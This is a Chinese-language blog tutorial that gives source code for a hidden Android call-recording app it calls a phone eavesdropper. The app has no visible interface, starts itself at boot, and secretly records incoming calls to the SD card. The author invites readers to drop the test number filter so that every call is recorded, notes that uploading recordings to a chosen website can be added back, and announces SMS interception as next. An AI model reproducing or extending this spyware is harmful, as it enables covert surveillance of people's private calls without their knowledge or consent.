Android 电话窃听器


Android 电话窃听器,窃听器,窃听器当然是别人看不见的对吧,所以没有Activity

简单的描述一下电话窃听部分,由于测试是用的监听的是10086,所以10086打进来都会被录音,把10086改成你想要的,或则去掉这个条件,很邪恶的实现全部监听。下一个是短信窃听,正在开发中..........

需要加入的权限

  1. <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>  
  2. <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>                                              <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>  
  3. <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>  
  4. <uses-permission android:name="android.permission.INTERNET"></uses-permission>  
  5. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>  

分别解释一下这7个权限

  1. MOUNT_UNMOUNT_FILESYSTEMS   允许挂载和反挂载文件系统可移动存储  
  1. RECORD_AUDIO 录音权限   

RECEIVE_BOOT_COMPLETED 允许一个程序接收到 ACTION_BOOT_COMPLETED广播在系统完成启动 

READ_PHONE_STATE 获取电话的通话状态

  1. INTERNET 允许程序入网,本程序去掉了入网的部分,(上传到指定的网站)需要的自己添加上去  

由于没有activity所以,AndroidManifest.xml中的是这样的

  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.       package="rw.monitor"  
  4.       android:versionCode="1"  
  5.       android:versionName="1.0">  
  6.     <uses-sdk android:minSdkVersion="10" />  
  7.     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>  
  8.     <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>  
  9.     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>  
  10.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>  
  11.     <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>  
  12.     <uses-permission android:name="android.permission.INTERNET"></uses-permission>  
  13.     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>  
  14.   
  15.     <application android:icon="@drawable/icon" android:label="@string/app_name">    
  16.          

 

  1. <pre class="html" name="code"><receiver android:name="PhoneBrocastRecive">  
  2.         <intent-filter>  
  3.        注意这里        <action android:name="android.intent.action.BOOT_COMPLETED"></action>    
  4.             </intent-filter>  
  5.         </receiver>  

 




 
  1.         <service android:name="PhoneService"></service>  
  2.     </application>  
  3. </manifest>  


 

Service的代码

  1. package rw.monitor;
  2. import java.io.File;  
  3. import java.text.SimpleDateFormat;  
  4. import java.util.Date;</p><p>  
  5. import android.app.Service;  
  6. import android.content.Context;  
  7. import android.content.Intent;  
  8. import android.media.MediaRecorder;  
  9. import android.os.IBinder;  
  10. import android.telephony.PhoneStateListener;  
  11. import android.telephony.TelephonyManager;  
  12. import android.util.Log;</p><p>public class PhoneService extends Service {</p><p> @Override  
  13.  public IBinder onBind(Intent arg0) {  
  14.   // TODO Auto-generated method stub   
  15.   return null;  
  16.  }  
  17.    
  18.  @Override  
  19.  public void onCreate() {  
  20.   // TODO Auto-generated method stub   
  21.   super.onCreate();  
  22.   Log.i("----->""开始服务");  
  23.   TelephonyManager manager=(TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);//获取电话服务   
  24.   manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);  
  25.  }  
  26.    PhoneStateListener listener=new PhoneStateListener(){  
  27.    private String listeneredNumber;  
  28.    private boolean isRecorder;//是否在录音   
  29.    private MediaRecorder recorder;</p><p> @Override  
  30.  public void onCallStateChanged(int state, String incomingNumber) {  
  31.   // TODO Auto-generated method stub   
  32.   super.onCallStateChanged(state, incomingNumber);  
  33.   switch (state) {  
  34.   case TelephonyManager.CALL_STATE_IDLE://没有电话打进来或则挂断了   
  35.    listeneredNumber=null;  
  36.    if (recorder!=null&&isRecorder) {//当我们挂断的时候   
  37.     Log.i("-------->""录音完成");  
  38.     recorder.stop();  
  39.     recorder.reset();  
  40.     recorder.release();  
  41.     isRecorder=false;  
  42.    }  
  43.    break;  
  44.         case TelephonyManager.CALL_STATE_RINGING: //电话响了   
  45.          listeneredNumber=incomingNumber;  
  46.          Log.i("来电电话---->", listeneredNumber);  
  47.          break;  
  48.         case TelephonyManager.CALL_STATE_OFFHOOK://接听电话,TMD拨打电话呼出状态也是这个   
  49.          if (listeneredNumber==null) {  
  50.     Log.i("-------->""拨出电话");//拨出电话不监听,也可以监听。这里设置不监听   
  51.     return ;  
  52.    }  
  53.          if(listeneredNumber.equals("10086"))  
  54.       {  
  55.           try {//开始录音啦   
  56.               Log.i("-------->""准备录音啦");  
  57.         recorder=new MediaRecorder();  
  58.         recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//声音来源于麦克风   
  59.         recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//音频的格式   
  60.         recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);  
  61.         SimpleDateFormat dateFormat=new SimpleDateFormat("yyyyMMdd_HHmmss");  
  62.         String fileNameString=this.listeneredNumber+"_"+dateFormat.format(new Date());  
  63.              
  64.         File file=new File("/sdcard/"+fileNameString+".mp3");  
  65.         recorder.setOutputFile(file.getAbsolutePath());  
  66.           
  67.             recorder.prepare();  
  68.          recorder.start();  
  69.          Log.i("-------->""开始录音啦");  
  70.          isRecorder=true;  
  71.          Log.i("-------->""正在录音中.....");  
  72.        } catch (Exception e) {  
  73.         // TODO: handle exception   
  74.         e.getMessage();  
  75.        }  
  76.       }  
  77.          break;  
  78.   default:</p><p>   break;  
  79.   }  
  80.  }  
  81.      
  82.  };
  83. }  

广播的代码

  1. public class PhoneBrocastRecive extends BroadcastReceiver {  
  2.   
  3.     @Override  
  4.     public void onReceive(Context context, Intent intent) {  
  5.         // TODO Auto-generated method stub   
  6.         //if (intent.getAction().equals("ACTIONSTRING")) {   
  7.         Log.i("----------->""开始广播");  
  8.               Intent serviceIntent=new Intent(context,PhoneService.class);  
  9.              context.startService(serviceIntent);  
  10.         //}   
  11.         
  12.     }  

现在只能监听拨入电话,拨出电话晚上补上

调试的时候最好加上Activity,这样不用每次都重启模拟器

 
  1. INTERNET 允许程序入网,本程序去掉了入网的部分,(上传到指定的网站)需要的自己添加上去  

 




挂断录音完成,保存在SDCARD下面 

相关内容